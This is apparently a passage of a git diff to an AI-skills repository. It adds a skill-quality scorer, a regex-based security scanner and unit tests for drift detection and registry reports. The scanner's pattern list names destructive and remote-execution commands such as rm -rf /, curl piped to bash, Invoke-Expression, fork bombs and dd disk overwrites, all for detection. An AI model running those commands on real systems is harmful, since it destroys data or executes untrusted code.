Metadata name comparison always uses the immediate directory name + meta_score = score_metadata(metadata, skill_path.name) + doc_score = score_documentation(content, body) + sec_score = score_security(scan_result, metadata) + + total = (meta_score * _W_METADATA) + (doc_score * _W_DOCS) + (sec_score * _W_SECURITY) + + return SkillScore( + skill_id=effective_id, + risk=metadata.get("risk", "unknown"), + metadata_score=round(meta_score, 1), + documentation_score=round(doc_score, 1), + security_score=round(sec_score, 1), + total_score=round(total, 1), + label=_label_for(total), + flags=[f.to_dict() for f in scan_result.flags], + ) + + +def score_all_skills(skills_dir: Path) -> list[SkillScore]: + """Score every skill directory found under skills_dir (recursively).""" + scores: list[SkillScore] = [] + for skill_file in sorted(skills_dir.rglob("SKILL.md")): + skill_path = skill_file.parent + if any(part.startswith(".") for part in skill_path.parts): + continue + # Use path relative to skills_dir as ID to avoid collisions in nested layouts + rel_id = skill_path.relative_to(skills_dir).as_posix() + result = score_skill(skill_path, skill_id=rel_id) + if result is not None: + scores.append(result) + return scores + + +# --------------------------------------------------------------------------- +# Summary +# --------------------------------------------------------------------------- + +def build_summary(scores: list[SkillScore]) -> dict[str, Any]: + if not scores: + return {} + + totals = [s.total_score for s in scores] + avg = sum(totals) / len(totals) + + distribution: dict[str, int] = { + "excellent": 0, + "good": 0, + "needs_improvement": 0, + "critical": 0, + } + for s in scores: + distribution[s.label] += 1 + + risk_breakdown: dict[str, int] = {} + for s in scores: + risk_breakdown[s.risk] = risk_breakdown.get(s.risk, 0) + 1 + + flag_errors = sum( + 1 for s in scores for f in s.flags if f["severity"] == "error" + ) + flag_warnings = sum( + 1 for s in scores for f in s.flags if f["severity"] == "warning" + ) + + return { + "total_skills": len(scores), + "average_score": round(avg, 1), + "min_score": round(min(totals), 1), + "max_score": round(max(totals), 1), + "score_distribution": distribution, + "risk_breakdown": risk_breakdown, + "flag_errors": flag_errors, + "flag_warnings": flag_warnings, + } + + +# --------------------------------------------------------------------------- +# CLI +# --------------------------------------------------------------------------- + +def _print_table(scores: list[SkillScore], threshold: float | None = None) -> None: + configure_utf8_output() + label_icon = { + "excellent": "✅", + "good": "🟢", + "needs_improvement": "⚠️ ", + "critical": "❌", + } + + flagged = [s for s in scores if threshold is not None and s.total_score < threshold] + display = flagged if threshold is not None else scores + + header = f"{'Skill':<50} {'Total':>6} {'Meta':>6} {'Docs':>6} {'Sec':>6} Label" + print(f"\n{'─' * len(header)}") + print(header) + print(f"{'─' * len(header)}") + + for s in display: + icon = label_icon.get(s.label, " ") + print( + f"{s.skill_id:<50} {s.total_score:>6.1f} " + f"{s.metadata_score:>6.1f} {s.documentation_score:>6.1f} " + f"{s.security_score:>6.1f} {icon} {s.label}" + ) + + +def _print_summary(summary: dict) -> None: + dist = summary.get("score_distribution", {}) + print(f"\n{'═' * 60}") + print("📊 SKILL QUALITY REPORT") + print(f"{'─' * 60}") + print(f" Skills scored : {summary.get('total_skills', 0)}") + print(f" Average score : {summary.get('average_score', 0):.1f}") + print(f" Min / Max : {summary.get('min_score', 0):.1f} / {summary.get('max_score', 0):.1f}") + print(f" ✅ Excellent : {dist.get('excellent', 0)}") + print(f" 🟢 Good : {dist.get('good', 0)}") + print(f" ⚠️ Needs work : {dist.get('needs_improvement', 0)}") + print(f" ❌ Critical : {dist.get('critical', 0)}") + print(f" Security flags: {summary.get('flag_errors', 0)} errors, {summary.get('flag_warnings', 0)} warnings") + print(f"{'═' * 60}\n") + + +def main(argv: list[str] | None = None) -> int: + configure_utf8_output() + parser = argparse.ArgumentParser( + description="Score Antigravity skill quality (metadata, documentation, security)." + ) + parser.add_argument( + "--json", + action="store_true", + help="Print full results as JSON instead of table.", + ) + parser.add_argument( + "--output", + metavar="FILE", + help="Write JSON results to FILE (e.g. data/scores.json).", + ) + parser.add_argument( + "--threshold", + type=float, + default=None, + metavar="N", + help="Only display skills with total score below N.", + ) + parser.add_argument( + "--top", + type=int, + default=None, + metavar="N", + help="Only display the top N lowest-scoring skills.", + ) + args = parser.parse_args(argv) + + repo_root = find_repo_root(__file__) + skills_dir = repo_root / "skills" + + if not args.json: + print(f"📐 Scoring skills in: {skills_dir}") + scores = score_all_skills(skills_dir) + summary = build_summary(scores) + + if args.json or args.output: + payload = { + "generated_at": datetime.now(timezone.utc).isoformat(), + "summary": summary, + "skills": [s.to_dict() for s in scores], + } + if args.json: + print(json.dumps(payload, indent=2, ensure_ascii=False)) + if args.output: + output_path = repo_root / args.output + output_path.parent.mkdir(parents=True, exist_ok=True) + output_path.write_text( + json.dumps(payload, indent=2, ensure_ascii=False), + encoding="utf-8", + ) + print(f"\n💾 Saved to: {output_path}") + else: + display = scores + if args.top: + display = sorted(scores, key=lambda s: s.total_score)[: args.top] + elif args.threshold is not None: + display = [s for s in scores if s.total_score < args.threshold] + _print_table(display) + _print_summary(summary) + + return 0 + + +if __name__ == "__main__": + sys.exit(main()) diff --git a/antigravity-awesome-skills/tools/scripts/security_scanner.py b/antigravity-awesome-skills/tools/scripts/security_scanner.py new file mode 100644 index 00000000..10754430 --- /dev/null +++ b/antigravity-awesome-skills/tools/scripts/security_scanner.py @@ -0,0 +1,341 @@ +#!/usr/bin/env python3 +""" +Security Scanner — Antigravity Awesome Skills +Scans skill content for dangerous command patterns. + +Can be used as a module or run standalone: + node tools/scripts/run-python.js tools/scripts/security_scanner.py + node tools/scripts/run-python.js tools/scripts/security_scanner.py --strict +""" +from __future__ import annotations + +import argparse +import re +import sys +from dataclasses import dataclass, field +from pathlib import Path + +from _project_paths import find_repo_root +from validate_skills import configure_utf8_output, parse_frontmatter + + +# --------------------------------------------------------------------------- +# Security pattern definitions +# --------------------------------------------------------------------------- + +@dataclass(frozen=True) +class SecurityPattern: + code: str + regex: str + severity: str # error | warning | info + description: str + rationale: str + + +SECURITY_PATTERNS: list[SecurityPattern] = [ + SecurityPattern( + code="SEC001", + regex=r"rm\s+-[rf]{1,2}\s+/(?!\S)", + severity="error", + description="Destructive rm targeting root filesystem", + rationale="rm -rf / deletes the entire filesystem; always destructive when unguarded.", + ), + SecurityPattern( + code="SEC002", + regex=r"curl\b[^\n]*\|\s*(?:bash|sh|zsh)", + severity="error", + description="Remote code execution: curl piped to shell", + rationale="Pipes untrusted remote content directly into a shell without integrity verification.", + ), + SecurityPattern( + code="SEC003", + regex=r"wget\b[^\n]*\|\s*(?:sh|bash|zsh)", + severity="error", + description="Remote code execution: wget | sh", + rationale="Same class of risk as curl | bash — downloads and executes without verification.", + ), + SecurityPattern( + code="SEC004", + regex=r"\bInvoke-Expression\b", + severity="error", + description="PowerShell RCE: Invoke-Expression", + rationale="Evaluates arbitrary strings as PowerShell code; classic RCE vector.", + ), + SecurityPattern( + code="SEC005", + regex=r"\biex\b", + severity="warning", + description="PowerShell alias: iex (Invoke-Expression)", + rationale="Alias for Invoke-Expression; context-dependent but frequently abused.", + ), + SecurityPattern( + code="SEC006", + regex=r"chmod\s+[0-7]*[2367](?:\s|$)", + severity="warning", + description="World-writable permission (other-write bit set)", + rationale="Modes where the last octal digit is 2/3/6/7 grant write access to all users.", + ), + SecurityPattern( + code="SEC007", + regex=r"\beval\s*\(", + severity="warning", + description="Dynamic eval() detected", + rationale="eval() can execute arbitrary code; acceptable only in controlled contexts.", + ), + SecurityPattern( + code="SEC008", + regex=r"base64\s+-d\b[^\n]*\|", + severity="warning", + description="Possible obfuscation via base64 decode + pipe", + rationale="Pattern commonly used to hide malicious payloads from static scanners.", + ), + SecurityPattern( + code="SEC009", + regex=r"(password|passwd|secret|api[_-]?key)\s*=\s*['\"][^'\"]{4,}['\"]", + severity="error", + description="Hardcoded credential detected", + rationale="Credentials in source files get committed and exposed in version history.", + ), + SecurityPattern( + code="SEC010", + regex=r"sudo\s+rm\s+-[rf]{1,2}", + severity="warning", + description="Privileged destructive deletion: sudo rm -rf", + rationale="Privileged deletion amplifies blast radius; requires explicit authorization context.", + ), + SecurityPattern( + code="SEC011", + regex=r":\s*\(\)\s*\{\s*:|fork\s+bomb", + severity="error", + description="Fork bomb or infinite process spawner", + rationale="Fork bombs consume all system resources and force a reboot.", + ), + SecurityPattern( + code="SEC012", + regex=r"dd\s+if=/dev/(?:zero|random|urandom)\s+of=/dev/[sh]d[a-z]", + severity="error", + description="Disk overwrite via dd", + rationale="Overwrites raw disk device, causing permanent data loss.", + ), +] + +# Lines containing this marker are excluded from scanning (project convention). +# Prefix match covers both bare (<!-- security-allowlist -->) and colon forms +# (<!-- security-allowlist: reason -->) documented in skill-template.md. +_ALLOWLIST_MARKERS = ("# security-allowlist", "<!-- security-allowlist") + + +# --------------------------------------------------------------------------- +# Data models +# --------------------------------------------------------------------------- + +@dataclass +class SecurityFlag: + code: str + severity: str + message: str + line: int + matched_text: str + pattern_regex: str + + def to_dict(self) -> dict: + return { + "code": self.code, + "severity": self.severity, + "message": self.message, + "line": self.line, + "matched_text": self.matched_text, + } + + +@dataclass +class ScanResult: + skill_id: str + flags: list[SecurityFlag] = field(default_factory=list) + is_offensive: bool = False + + @property + def error_count(self) -> int: + return sum(1 for f in self.flags if f.severity == "error") + + @property + def warning_count(self) -> int: + return sum(1 for f in self.flags if f.severity == "warning") + + @property + def status(self) -> str: + if self.error_count > 0: + return "error" + if self.warning_count > 0: + return "warning" + return "ok" + + def to_dict(self) -> dict: + return { + "skill_id": self.skill_id, + "status": self.status, + "is_offensive": self.is_offensive, + "error_count": self.error_count, + "warning_count": self.warning_count, + "flags": [f.to_dict() for f in self.flags], + } + + +# --------------------------------------------------------------------------- +# Scanner +# --------------------------------------------------------------------------- + +def _is_allowlisted(line: str) -> bool: + return any(marker in line for marker in _ALLOWLIST_MARKERS) + + +def scan_content( + skill_id: str, + content: str, + is_offensive: bool = False, + patterns: list[SecurityPattern] | None = None, +) -> ScanResult: + """ + Scan raw skill body text for security patterns. + + Args: + skill_id: Identifier for the skill (used in result). + content: Raw markdown body (without frontmatter). + is_offensive: When True, errors are downgraded to warnings + because offensive skills legitimately document dangerous commands. + patterns: Override the default SECURITY_PATTERNS list (useful for testing). + + Returns: + ScanResult with all detected flags. + """ + active_patterns = patterns if patterns is not None else SECURITY_PATTERNS + result = ScanResult(skill_id=skill_id, is_offensive=is_offensive) + lines = content.splitlines() + + for line_no, line in enumerate(lines, start=1): + if _is_allowlisted(line): + continue + + for pattern in active_patterns: + if not re.search(pattern.regex, line, re.IGNORECASE): + continue + + # Offensive skills get errors downgraded to warnings + severity = pattern.severity + if is_offensive and severity == "error": + severity = "warning" + + matched = re.search(pattern.regex, line, re.IGNORECASE) + result.flags.append( + SecurityFlag( + code=pattern.code, + severity=severity, + message=pattern.description, + line=line_no, + matched_text=(matched.group(0) if matched else "").strip(), + pattern_regex=pattern.regex, + ) + ) + + return result + + +def scan_skill_file(skill_path: Path) -> ScanResult | None: + """ + Read and scan a SKILL.md file. Returns None if the file cannot be read + or lacks valid frontmatter. + """ + skill_file = skill_path / "SKILL.md" + if not skill_file.exists(): + return None + + content = skill_file.read_text(encoding="utf-8") + metadata, _ = parse_frontmatter(content) + if metadata is None: + metadata = {} + + is_offensive = str(metadata.get("risk", "")).lower() == "offensive" + + # Strip frontmatter from content before scanning + body = re.sub(r"^---\s*\n.*?\n---\s*\n?", "", content, count=1, flags=re.DOTALL) + + return scan_content( + skill_id=skill_path.name, + content=body, + is_offensive=is_offensive, + ) + + +def scan_all_skills(skills_dir: Path) -> list[ScanResult]: + """Scan all skill directories under skills_dir (recursively).""" + results: list[ScanResult] = [] + for skill_file in sorted(skills_dir.rglob("SKILL.md")): + skill_path = skill_file.parent + if any(part.startswith(".") for part in skill_path.parts): + continue + result = scan_skill_file(skill_path) + if result is not None: + results.append(result) + return results + + +# --------------------------------------------------------------------------- +# CLI +# --------------------------------------------------------------------------- + +def _print_results(results: list[ScanResult], strict: bool = False) -> bool: + configure_utf8_output() + + errors_total = sum(r.error_count for r in results) + warnings_total = sum(r.warning_count for r in results) + flagged = [r for r in results if r.status != "ok"] + + print(f"\n🔐 Security Scan — {len(results)} skills scanned") + print(f" Errors : {errors_total}") + print(f" Warnings: {warnings_total}") + + if flagged: + print(f"\n{'─' * 60}") + for result in flagged: + icon = "❌" if result.status == "error" else "⚠️ " + label = " [offensive]" if result.is_offensive else "" + print(f"\n{icon} {result.skill_id}{label}") + for flag in result.flags: + sev_icon = "❌" if flag.severity == "error" else "⚠️ " + print(f" {sev_icon} [{flag.code}] line {flag.line}: {flag.message}") + print(f" matched: {flag.matched_text!r}") + else: + print("\n✅ No security flags detected.") + + if errors_total > 0: + return False + if strict and warnings_total > 0: + print("\n❌ STRICT MODE: Warnings treated as errors.") + return False + return True + + +def main(argv: list[str] | None = None) -> int: + configure_utf8_output() + parser = argparse.ArgumentParser( + description="Scan Antigravity skills for dangerous security patterns." + ) + parser.add_argument( + "--strict", + action="store_true", + help="Treat warnings as errors (CI mode).", + ) + args = parser.parse_args(argv) + + repo_root = find_repo_root(__file__) + skills_dir = repo_root / "skills" + + print(f"🔍 Scanning: {skills_dir}") + + results = scan_all_skills(skills_dir) + success = _print_results(results, strict=args.strict) + return 0 if success else 1 + + +if __name__ == "__main__": + sys.exit(main()) diff --git a/antigravity-awesome-skills/tools/scripts/tests/run-test-suite.js b/antigravity-awesome-skills/tools/scripts/tests/run-test-suite.js index 6aa384cb..51b8ec94 100644 --- a/antigravity-awesome-skills/tools/scripts/tests/run-test-suite.js +++ b/antigravity-awesome-skills/tools/scripts/tests/run-test-suite.js @@ -55,6 +55,10 @@ const LOCAL_TEST_COMMANDS = [ [path.join(TOOL_SCRIPTS, "run-python.js"), path.join(TOOL_TESTS, "test_maintainer_audit.py")], [path.join(TOOL_SCRIPTS, "run-python.js"), path.join(TOOL_TESTS, "test_validate_skills_headings.py")], [path.join(TOOL_SCRIPTS, "run-python.js"), path.join(TOOL_TESTS, "test_validate_skills_strict.py")], + [path.join(TOOL_SCRIPTS, "run-python.js"), path.join(TOOL_TESTS, "test_security_scanner.py")], + [path.join(TOOL_SCRIPTS, "run-python.js"), path.join(TOOL_TESTS, "test_score_skills.py")], + [path.join(TOOL_SCRIPTS, "run-python.js"), path.join(TOOL_TESTS, "test_detect_drift.py")], + [path.join(TOOL_SCRIPTS, "run-python.js"), path.join(TOOL_TESTS, "test_generate_registry_report.py")], ]; const NETWORK_TEST_COMMANDS = [ [path.join(TOOL_SCRIPTS, "run-python.js"), path.join(TOOL_TESTS, "inspect_microsoft_repo.py")], diff --git a/antigravity-awesome-skills/tools/scripts/tests/test_detect_drift.py b/antigravity-awesome-skills/tools/scripts/tests/test_detect_drift.py new file mode 100644 index 00000000..71cebf0b --- /dev/null +++ b/antigravity-awesome-skills/tools/scripts/tests/test_detect_drift.py @@ -0,0 +1,271 @@ +import importlib.util +import json +import sys +import tempfile +import unittest +from pathlib import Path + +REPO_ROOT = Path(__file__).resolve().parents[3] +TOOLS_SCRIPTS_DIR = REPO_ROOT / "tools" / "scripts" +if str(TOOLS_SCRIPTS_DIR) not in sys.path: + sys.path.insert(0, str(TOOLS_SCRIPTS_DIR)) + + +def load_module(relative_path: str, module_name: str): + module_path = REPO_ROOT / relative_path + spec = importlib.util.spec_from_file_location(module_name, module_path) + module = importlib.util.module_from_spec(spec) + assert spec.loader is not None + sys.modules[module_name] = module + spec.loader.exec_module(module) + return module + + +detect_drift = load_module("tools/scripts/detect_drift.py", "detect_drift") + + +# --------------------------------------------------------------------------- +# Helpers +# --------------------------------------------------------------------------- + +_SKILL_CONTENT = """\ +--- +name: {name} +description: Test skill for drift detection. +risk: safe +source: community +date_added: 2026-01-01 +--- + +## When to Use +- Use this in drift detection tests. + +## Limitations +- Test fixture only. +""" + + +def _write_skill(skills_dir: Path, name: str, content: str | None = None) -> Path: + skill_dir = skills_dir / name + skill_dir.mkdir(parents=True, exist_ok=True) + body = content if content is not None else _SKILL_CONTENT.format(name=name) + (skill_dir / "SKILL.md").write_text(body, encoding="utf-8") + return skill_dir + + +# --------------------------------------------------------------------------- +# Hash computation +# --------------------------------------------------------------------------- + +class HashComputationTests(unittest.TestCase): + def test_same_content_produces_same_hash(self): + content = "Hello, world!" + h1 = detect_drift.compute_hash(content) + h2 = detect_drift.compute_hash(content) + self.assertEqual(h1, h2) + + def test_different_content_produces_different_hash(self): + h1 = detect_drift.compute_hash("Content A") + h2 = detect_drift.compute_hash("Content B") + self.assertNotEqual(h1, h2) + + def test_hash_is_16_hex_chars(self): + h = detect_drift.compute_hash("any content") + self.assertEqual(len(h), 16) + self.assertTrue(all(c in "0123456789abcdef" for c in h)) + + def test_normalization_ignores_date_added(self): + content_a = "---\nname: x\ndate_added: 2026-01-01\n---\n\nBody text." + content_b = "---\nname: x\ndate_added: 2026-06-15\n---\n\nBody text." + h_a = detect_drift.compute_hash(content_a) + h_b = detect_drift.compute_hash(content_b) + self.assertEqual(h_a, h_b, "date_added change should not affect hash") + + def test_normalization_ignores_author(self): + content_a = "---\nauthor: alice\n---\n\nBody." + content_b = "---\nauthor: bob\n---\n\nBody." + h_a = detect_drift.compute_hash(content_a) + h_b = detect_drift.compute_hash(content_b) + self.assertEqual(h_a, h_b, "author change should not affect hash") + + def test_meaningful_content_change_changes_hash(self): + content_a = "---\nname: skill\n---\n\nOriginal body." + content_b = "---\nname: skill\n---\n\nCompletely different body content." + h_a = detect_drift.compute_hash(content_a) + h_b = detect_drift.compute_hash(content_b) + self.assertNotEqual(h_a, h_b) + + def test_compute_skill_hash_returns_tuple(self): + with tempfile.TemporaryDirectory() as tmp: + skill_dir = _write_skill(Path(tmp), "test-skill") + result = detect_drift.compute_skill_hash(skill_dir) + self.assertIsNotNone(result) + hash_, length = result + self.assertIsInstance(hash_, str) + self.assertIsInstance(length, int) + self.assertGreater(length, 0) + + def test_compute_skill_hash_returns_none_for_missing_skill_md(self): + with tempfile.TemporaryDirectory() as tmp: + empty_dir = Path(tmp) / "no-skill" + empty_dir.mkdir() + result = detect_drift.compute_skill_hash(empty_dir) + self.assertIsNone(result) + + +# --------------------------------------------------------------------------- +# Baseline I/O +# --------------------------------------------------------------------------- + +class BaselineIOTests(unittest.TestCase): + def test_load_baseline_returns_empty_for_missing_file(self): + result = detect_drift.load_baseline(Path("/nonexistent/baseline.json")) + self.assertEqual(result, {}) + + def test_save_and_load_roundtrip(self): + with tempfile.TemporaryDirectory() as tmp: + path = Path(tmp) / "data" / "baseline.json" + entries = { + "skill-a": detect_drift.DriftEntry("skill-a", "abc123def456abcd", 100, "2026-01-01"), + "skill-b": detect_drift.DriftEntry("skill-b", "xyz789uvw012xyz7", 200, "2026-01-02"), + } + detect_drift.save_baseline(path, entries, "12.7.0") + + self.assertTrue(path.exists()) + loaded = detect_drift.load_baseline(path) + self.assertEqual(set(loaded.keys()), {"skill-a", "skill-b"}) + self.assertEqual(loaded["skill-a"].hash, "abc123def456abcd") + self.assertEqual(loaded["skill-b"].length, 200) + + def test_saved_baseline_has_schema_version(self): + with tempfile.TemporaryDirectory() as tmp: + path = Path(tmp) / "baseline.json" + detect_drift.save_baseline(path, {}, "12.7.0") + data = json.loads(path.read_text(encoding="utf-8")) + self.assertIn("schema_version", data) + self.assertEqual(data["schema_version"], detect_drift.BASELINE_SCHEMA_VERSION) + + def test_load_handles_corrupt_json_gracefully(self): + with tempfile.TemporaryDirectory() as tmp: + path = Path(tmp) / "corrupt.json" + path.write_text("not valid json at all {{{{", encoding="utf-8") + result = detect_drift.load_baseline(path) + self.assertEqual(result, {}) + + +# --------------------------------------------------------------------------- +# Current entries +# --------------------------------------------------------------------------- + +class BuildCurrentEntriesTests(unittest.TestCase): + def test_returns_entry_per_skill(self): + with tempfile.TemporaryDirectory() as tmp: + skills_dir = Path(tmp) + for name in ("skill-a", "skill-b", "skill-c"): + _write_skill(skills_dir, name) + entries = detect_drift.build_current_entries(skills_dir) + self.assertEqual(set(entries.keys()), {"skill-a", "skill-b", "skill-c"}) + + def test_ignores_directories_without_skill_md(self): + with tempfile.TemporaryDirectory() as tmp: + skills_dir = Path(tmp) + _write_skill(skills_dir, "has-skill") + (skills_dir / "no-skill-md").mkdir() + entries = detect_drift.build_current_entries(skills_dir) + self.assertIn("has-skill", entries) + self.assertNotIn("no-skill-md", entries) + + def test_ignores_hidden_directories(self): + with tempfile.TemporaryDirectory() as tmp: + skills_dir = Path(tmp) + _write_skill(skills_dir, "visible-skill") + hidden = skills_dir / ".hidden" + hidden.mkdir() + (hidden / "SKILL.md").write_text("---\nname: hidden\n---\n", encoding="utf-8") + entries = detect_drift.build_current_entries(skills_dir) + self.assertNotIn(".hidden", entries) + + +# --------------------------------------------------------------------------- +# Drift computation +# --------------------------------------------------------------------------- + +class DriftComputationTests(unittest.TestCase): + def _entry(self, skill_id: str, hash_: str = "aaaaaaaaaaaaaaaa") -> detect_drift.DriftEntry: + return detect_drift.DriftEntry(skill_id, hash_, 100, "2026-01-01") + + def test_no_changes_produces_empty_drift(self): + baseline = {"skill-a": self._entry("skill-a", "hash1"), "skill-b": self._entry("skill-b", "hash2")} + current = {"skill-a": self._entry("skill-a", "hash1"), "skill-b": self._entry("skill-b", "hash2")} + report = detect_drift.compute_drift(baseline, current) + self.assertFalse(report.has_drift) + self.assertEqual(len(report.unchanged), 2) + + def test_new_skill_detected_as_added(self): + baseline = {"skill-a": self._entry("skill-a")} + current = {"skill-a": self._entry("skill-a"), "skill-b": self._entry("skill-b")} + report = detect_drift.compute_drift(baseline, current) + self.assertTrue(report.has_drift) + self.assertIn("skill-b", report.added) + self.assertEqual(report.removed, []) + self.assertEqual(report.drifted, []) + + def test_removed_skill_detected(self): + baseline = {"skill-a": self._entry("skill-a"), "skill-b": self._entry("skill-b")} + current = {"skill-a": self._entry("skill-a")} + report = detect_drift.compute_drift(baseline, current) + self.assertTrue(report.has_drift) + self.assertIn("skill-b", report.removed) + + def test_content_change_detected_as_drifted(self): + baseline = {"skill-a": self._entry("skill-a", "oldhash12345678")} + current = {"skill-a": self._entry("skill-a", "newhash12345678")} + report = detect_drift.compute_drift(baseline, current) + self.assertTrue(report.has_drift) + self.assertEqual(len(report.drifted), 1) + skill_id, old, new = report.drifted[0] + self.assertEqual(skill_id, "skill-a") + self.assertEqual(old, "oldhash12345678") + self.assertEqual(new, "newhash12345678") + + def test_drift_report_to_dict(self): + baseline = {"x": self._entry("x", "hash1")} + current = {"x": self._entry("x", "hash2"), "y": self._entry("y")} + report = detect_drift.compute_drift(baseline, current) + d = report.to_dict() + self.assertIn("has_drift", d) + self.assertIn("added", d) + self.assertIn("removed", d) + self.assertIn("drifted", d) + self.assertIn("unchanged_count", d) + self.assertTrue(d["has_drift"]) + + def test_end_to_end_drift_on_real_files(self): + with tempfile.TemporaryDirectory() as tmp: + skills_dir = Path(tmp) + _write_skill(skills_dir, "skill-a") + _write_skill(skills_dir, "skill-b") + + baseline = detect_drift.build_current_entries(skills_dir) + + # Modify skill-a content + (skills_dir / "skill-a" / "SKILL.md").write_text( + _SKILL_CONTENT.format(name="skill-a") + "\n## New Section\nAdded content.\n", + encoding="utf-8", + ) + + # Add a new skill + _write_skill(skills_dir, "skill-c") + + current = detect_drift.build_current_entries(skills_dir) + report = detect_drift.compute_drift(baseline, current) + + self.assertTrue(report.has_drift) + self.assertIn("skill-c", report.added) + drifted_ids = [s for s, _, _ in report.drifted] + self.assertIn("skill-a", drifted_ids) + self.assertIn("skill-b", report.unchanged) + + +if __name__ == "__main__": + unittest.main() diff --git a/antigravity-awesome-skills/tools/scripts/tests/test_generate_registry_report.py b/antigravity-awesome-skills/tools/scripts/tests/test_generate_registry_report.py new file mode 100644 index 00000000..d0fdbf1f --- /dev/null +++ b/antigravity-awesome-skills/tools/scripts/tests/test_generate_registry_report.py @@ -0,0 +1,234 @@ +import importlib.util +import json +import sys +import tempfile +import unittest +from pathlib import Path + +REPO_ROOT = Path(__file__).resolve().parents[3] +TOOLS_SCRIPTS_DIR = REPO_ROOT / "tools" / "scripts" +if str(TOOLS_SCRIPTS_DIR) not in sys.path: + sys.path.insert(0, str(TOOLS_SCRIPTS_DIR)) + + +def load_module(relative_path: str, module_name: str): + module_path = REPO_ROOT / relative_path + spec = importlib.util.spec_from_file_location(module_name, module_path) + module = importlib.util.module_from_spec(spec) + assert spec.loader is not None + sys.modules[module_name] = module + spec.loader.exec_module(module) + return module + + +generate_registry_report = load_module( + "tools/scripts/generate_registry_report.py", "generate_registry_report" +) +score_skills = load_module("tools/scripts/score_skills.py", "score_skills") + + +# --------------------------------------------------------------------------- +# Helpers +# --------------------------------------------------------------------------- + +_SKILL_TEMPLATE = """\ +--- +name: {name} +description: A test skill for registry report generation. +risk: {risk} +source: community +date_added: 2026-01-01 +category: testing +--- + +# {name} + +## When to Use +- Use in registry report tests. + +## Examples +```bash +echo "test" +``` + +## Limitations +- Test fixture only. +""" + + +def _write_skill(skills_dir: Path, name: str, risk: str = "safe") -> Path: + skill_dir = skills_dir / name + skill_dir.mkdir(parents=True, exist_ok=True) + (skill_dir / "SKILL.md").write_text( + _SKILL_TEMPLATE.format(name=name, risk=risk), encoding="utf-8" + ) + return skill_dir + + +def _make_score( + skill_id: str, + total: float = 75.0, + label: str = "good", + risk: str = "safe", + flag_severity: str | None = None, +) -> score_skills.SkillScore: + flags = [] + if flag_severity: + flags = [{"code": "SEC001", "severity": flag_severity, "message": "test", "line": 1, "matched_text": "x"}] + return score_skills.SkillScore( + skill_id=skill_id, + risk=risk, + metadata_score=total, + documentation_score=total, + security_score=total, + total_score=total, + label=label, + flags=flags, + ) + + +# --------------------------------------------------------------------------- +# Report building +# --------------------------------------------------------------------------- + +class ReportBuildingTests(unittest.TestCase): + def test_report_has_required_top_level_keys(self): + scores = [_make_score("skill-a"), _make_score("skill-b")] + report = generate_registry_report.build_report(scores, "12.7.0") + + for key in ("schema_version", "generated_at", "skills_version", "summary", "skills"): + self.assertIn(key, report, f"Missing key: {key}") + + def test_report_skills_version_matches_input(self): + scores = [_make_score("skill-a")] + report = generate_registry_report.build_report(scores, "99.9.9") + self.assertEqual(report["skills_version"], "99.9.9") + + def test_report_summary_total_skills_count(self): + scores = [_make_score(f"skill-{i}") for i in range(10)] + report = generate_registry_report.build_report(scores, "12.7.0") + self.assertEqual(report["summary"]["total_skills"], 10) + + def test_report_skills_list_length_matches_scores(self): + scores = [_make_score(f"s-{i}") for i in range(7)] + report = generate_registry_report.build_report(scores, "12.7.0") + self.assertEqual(len(report["skills"]), 7) + + def test_report_skills_sorted_by_total_score_ascending(self): + scores = [ + _make_score("high", 90.0, "excellent"), + _make_score("low", 30.0, "critical"), + _make_score("mid", 60.0, "good"), + ] + report = generate_registry_report.build_report(scores, "12.7.0") + totals = [s["scores"]["total"] for s in report["skills"]] + self.assertEqual(totals, sorted(totals)) + + def test_report_security_flags_counted(self): + scores = [ + _make_score("err-skill", flag_severity="error"), + _make_score("warn-skill", flag_severity="warning"), + _make_score("clean-skill"), + ] + report = generate_registry_report.build_report(scores, "12.7.0") + sec = report["summary"]["security"] + self.assertEqual(sec["flag_errors"], 1) + self.assertEqual(sec["flag_warnings"], 1) + + def test_report_risk_breakdown_structure(self): + scores = [ + _make_score("a", risk="safe"), + _make_score("b", risk="safe"), + _make_score("c", risk="critical"), + ] + report = generate_registry_report.build_report(scores, "12.7.0") + risk_list = report["summary"]["risk_breakdown"] + self.assertIsInstance(risk_list, list) + risk_map = {item["risk"]: item["count"] for item in risk_list} + self.assertEqual(risk_map.get("safe", 0), 2) + self.assertEqual(risk_map.get("critical", 0), 1) + + def test_report_score_distribution_structure(self): + scores = [ + _make_score("a", 90.0, "excellent"), + _make_score("b", 70.0, "good"), + _make_score("c", 50.0, "needs_improvement"), + _make_score("d", 20.0, "critical"), + ] + report = generate_registry_report.build_report(scores, "12.7.0") + dist_list = report["summary"]["score_distribution"] + dist_map = {item["label"]: item["count"] for item in dist_list} + self.assertEqual(dist_map["excellent"], 1) + self.assertEqual(dist_map["good"], 1) + self.assertEqual(dist_map["needs_improvement"], 1) + self.assertEqual(dist_map["critical"], 1) + + def test_report_with_drift_summary_includes_drift_key(self): + scores = [_make_score("skill-a")] + drift = {"has_drift": True, "added": ["new-skill"], "removed": [], "drifted": [], "unchanged_count": 1} + report = generate_registry_report.build_report(scores, "12.7.0", drift_summary=drift) + self.assertIn("drift", report) + self.assertTrue(report["drift"]["has_drift"]) + + def test_report_without_drift_has_no_drift_key(self): + scores = [_make_score("skill-a")] + report = generate_registry_report.build_report(scores, "12.7.0", drift_summary=None) + self.assertNotIn("drift", report) + + def test_report_schema_version_is_integer(self): + report = generate_registry_report.build_report([_make_score("x")], "1.0.0") + self.assertIsInstance(report["schema_version"], int) + + +# --------------------------------------------------------------------------- +# End-to-end (file system) +# --------------------------------------------------------------------------- + +class RegistryReportEndToEndTests(unittest.TestCase): + def test_generated_report_is_valid_json(self): + with tempfile.TemporaryDirectory() as tmp: + skills_dir = Path(tmp) / "skills" + output_path = Path(tmp) / "report.json" + + for i in range(3): + _write_skill(skills_dir, f"skill-{i}") + + scores = score_skills.score_all_skills(skills_dir) + report = generate_registry_report.build_report(scores, "12.7.0") + + output_path.write_text( + json.dumps(report, indent=2, ensure_ascii=False), encoding="utf-8" + ) + + reloaded = json.loads(output_path.read_text(encoding="utf-8")) + self.assertEqual(reloaded["summary"]["total_skills"], 3) + + def test_report_generated_at_is_iso_format(self): + from datetime import datetime + scores = [_make_score("x")] + report = generate_registry_report.build_report(scores, "1.0.0") + generated_at = report["generated_at"] + # Should parse without error + datetime.fromisoformat(generated_at.replace("Z", "+00:00")) + + def test_empty_skills_directory_produces_valid_report(self): + with tempfile.TemporaryDirectory() as tmp: + skills_dir = Path(tmp) + scores = score_skills.score_all_skills(skills_dir) + self.assertEqual(scores, []) + report = generate_registry_report.build_report(scores, "12.7.0") + self.assertEqual(report["summary"].get("total_skills", 0), 